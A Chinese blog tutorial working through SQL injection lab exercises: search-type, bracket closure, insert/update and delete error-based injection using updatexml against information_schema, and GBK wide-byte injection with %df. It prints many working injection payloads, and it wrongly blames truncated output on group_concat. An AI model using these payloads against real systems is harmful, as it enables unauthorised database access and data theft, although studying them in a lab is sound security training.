一步一脚印!!!
补充:此处为什么不写http请求头注入,因为该注入类型只是换了注入点,语句其他根本没有什么变化
1.搜索型
先尝试输入常用payload: 1' or 1=1 #。
已经有回显
我们在查看提示
我们输入%%,发现跟之前的回显一致
查看源码
发现此处就是一个模糊匹配搜索的方式
但是一般我们不可能看到源码,所以通过大概的语法报错来确定
输入payload:1'
%''
这个特定的错误片段可能意味着你在使用百分号(%)作为通配符进行模糊匹配时,出现了单引号不匹配或者其他与字符串相关的错误,可以联想到模糊匹配。
%
在 LIKE 子句中是一个非常灵活的通配符,可以用来表示前导、中间和尾随的任意数量字符,包括零个字符的情形。实例:like '%a' (以a结尾) ,'%a%'(包含a) , 'a%'(以a开头)
2.xx型注入
先试试: 1' or 1=1#
报错了,也没有提示
换成 1'
怀疑还需要括号进行闭合
重新复盘payload:1') or 1=1#
成功了!
返回来看提示
总结:考闭合思路!!!
3.insert/update注入
还是先注册
边注册边抓包看,怀疑尝试注入点,尝试常用payload:1' or 1=1#
根据右边的报错,可得应该是闭合错误了,不过一定要有单引号,于是尝试 '",'),发现')有不同的回显,说明闭合方式就为')
发现列数不对,加入列数,得到:
username=1','2','3','4','5','6') #&password=1&sex=1&phonenum=1&email=1&add=1&submit=submit
列数对了,我们试着插入报错语句
username=1','updatexml(1,concat('~',(select database())))','3','4','5','6') #&password=1&sex=1&phonenum=1&email=1&add=1&submit=submit,并没有效果
然后我们现在回想为什么题目是insert/update注入,此处注册其实就是使用insert/update语句对数据库进行数据插入更新以来注册账户,所以我们可以大致推算,此处语句可能类似如下:
insert into users values ('id','usename','password');
此语句也印证了上述闭合
所以有了大致的思路,我们试着闭合语句和进行报错注入,此处插入or'的原因是保证语法正确
username=1' and updatexml(1,concat(0x7e,(select database()),0x7e),1) or' &password=admin&sex=11&phonenum=111&email=1111&add=11111&submit=submit
该语句插入后语句变为了
insert into users values ('1' and updatexml(1,concat(0x7e,(select database()),0x7e),1) or’ ','usename','password');
此时该语句是不会进行语法报错的,同时or可以换为and
爆表:
依次爆表
username=1' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 0,1),0x7e),1) or' &password=admin&sex=11&phonenum=111&email=1111&add=11111&submit=submit
或者
直接爆表:
username=1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1) or' &password=admin&sex=11&phonenum=111&email=1111&add=11111&submit=submit
但是其实直接爆库并没有爆出所有的表,这是因为group_concat的限制,只能返回32个字符,所以此处我们要使用截断函数substr函数进行进一步的把表爆完整
所以改为:(此处substr后面的两个参数我是随便填的)
username=1' and updatexml(1,concat(0x7e,substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),25,20),0x7e),1) or' &password=admin&sex=11&phonenum=111&email=1111&add=11111&submit=submit
爆列语句我就不演示了,类比爆表的语句就行了
update注入
update注入其实就是登录后修改个人信息处进行报错注入,语句跟上述insert语句一模一样,就不多做演示了
4.delete注入
既然是delete,那我们就先留个言吧,你不会真信了吧,作为一个网安人,怎么可能放过可能的注入点呢,悄悄告诉你,其实submit的内容我也试过了,并不是注入点哟!
删除留言的同时抓包:
发现一个id参数,字符型注入做多了,这道题我做了好久才发现居然是数值型注入
只好重新走流程了,此处需要注意,需要将注入语句在一些地方加入编码,不能出现空格等
所以我们直接先进行判断字符型还是数值型,
and 1=1
' and '1'='1
此处我已经试过是数值型注入了,具体步骤如下,不过其实就是当你发现无论咋么闭合都不管用时,就必须考虑到数值型注入了,当然如果一来就判断是最好的。
介于该注入输入正确的代码时会直接删除留言,所以在repeat模块中其实并不好进行多次输入验证,所以只能每写一个payload,就要重新抓一次包(仅仅是在验证时,后面就可以使用repeat模块)
我这里其实是多次输入payload,减懒了,从中看出
难得做到一道数值型注入,就强化一下吧
爆库:
+or+updatexml(1,concat(0x7e,(select+database())),1) ---此处不用加#,因为数值型注入
爆表:
+or+updatexml(1,concat(0x7e,(select+group_concat(table_name)+from+information_schema.tables+where+table_schema=database())),1)
加上
+or+updatexml(1,concat(0x7e,substr((select+group_concat(table_name)+from+information_schema.tables+where+table_schema=database()),25,30)),1)
爆列就不演示了,自己演示哟!!
5.宽字节注入
什么是宽字节
如果一个字符的大小是一个字节的,称为窄字节;如果一个字符的大小是两个字节的,成为宽字节
- 像GB2312、GBK、GB18030、BIG5、Shift_JIS等这些编码都是常说的宽字节,也就是只有两字节
- 英文默认占一个字节,中文占两个字节
宽字节注入使用条件
PHP发送请求到MySql时使用了语句SET NAMES 'gbk' 或是set character_set_client =gbk 进行了一次编码
宽字节注入的使用原因
单引号、双引号等特殊字符被转义
宽字节注入原理
在数据库中使用了宽字符集(GBK,GB2312等),除了英文都是一个字符占两字节;
MySQL在使用GBK编码的时候,会认为两个字符为一个汉字(ascii>128才能达到汉字范围);
在PHP中使用addslashes函数的时候,会对单引号%27进行转义,在前边加一个反斜杠”\”,变成%5c%27;
可以在前边添加%df,形成%df%5c%27,而数据进入数据库中时前边的%df%5c两字节会被当成一个汉字;
%5c被吃掉了,单引号由此逃逸可以用来闭合语句。
使用PHP函数iconv(‘utf-8’,‘gbk’,$_GET[‘id’]),也可能导致注入产生
看题目
根据提示来,查询并抓包
然后直接上常用的宽字节payload:kobe%df' or 1=1#
即可查询到所有用户!!!
留言
但是这种情形一般我们不可能直接知道它是宽字节注入....,只能多做尝试,才能明白,网安人的必备就是勤劳的双手!!!文章到此就结束了,祝你们学习顺利!!!